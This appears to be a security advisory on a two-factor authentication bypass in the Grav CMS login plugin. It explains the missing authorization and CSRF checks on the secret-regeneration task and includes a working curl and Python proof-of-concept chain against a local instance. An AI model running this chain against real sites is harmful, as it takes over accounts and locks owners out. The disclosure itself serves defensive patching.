Grav: 2FA Bypass via 'login.regenerate2FASecret' - Secret Rotation During Pending Challenge

Summary

When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the login.regenerate2FASecret task which requires only $user->exists(), not $user->authorized can be called without a CSRF nonce. It overwrites the victim's twofa_secret on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is reduced to password-only. The exploit was confirmed live after enabling 2FA to a user.

Details

Four code locations in login plugin v3.8.10 enable the chain:

1. Session user set even with 2FA pending
user/plugins/login/login.php - userLogin() assigns $session->user = $user before TOTP verification completes. This makes $this->grav['user'] point to the victim in the pending-challenge window.

2. taskRegenerate2FASecret - no authorization check
user/plugins/login/classes/Controller.php

public function taskRegenerate2FASecret()
{
    $user = $this->grav['user'];
    if ($user->exists()) {                  // ← only checks exists(), NOT authorized()
        $secret = $twoFa->createSecret();
        $user->twofa_secret = $secret;      // overwrites victim's secret on disk
        $user->save();
        $json_response = [
            'status' => 'success',
            'image' => $image,
            'secret' => trim(preg_replace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker
        ];
    }
}

3. No CSRF nonce required
user/plugins/login/login.php - the task dispatch switch only validates twofa_cancel for nonce. regenerate2FASecret is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session.

PoC

Confirmed live on this instance after enabling plugins.login.twofa_enabled: true and configuring TOTP on the user account.

# Step 1: Password-only login (lands in 2FA-pending; keep session cookie)
LOGIN_PAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login")
NONCE=$(echo "$LOGIN_PAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+')
curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \
  "http://127.0.0.1/grav/login" \
  -d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"

# Step 2: Regenerate the 2FA secret (NO nonce required)
curl -s -b /tmp/2fa.jar \
  "http://127.0.0.1/grav/login/task:login.regenerate2FASecret"
# {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}

# Step 3: Compute TOTP from the attacker-chosen secret
python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())"
# 152656

# Step 4: Complete 2FA with attacker's TOTP code
curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \
  -d "task=login.twofa&2fa_code=152656"

# Step 5: Verify - fully authenticated as victim
curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout'
# Grav User Logout

Impact

Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via $user->save(), locking them out of their own account.

The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting http://target/login/task:login.regenerate2FASecret on any attacker-controlled page would have their 2FA secret silently rotated.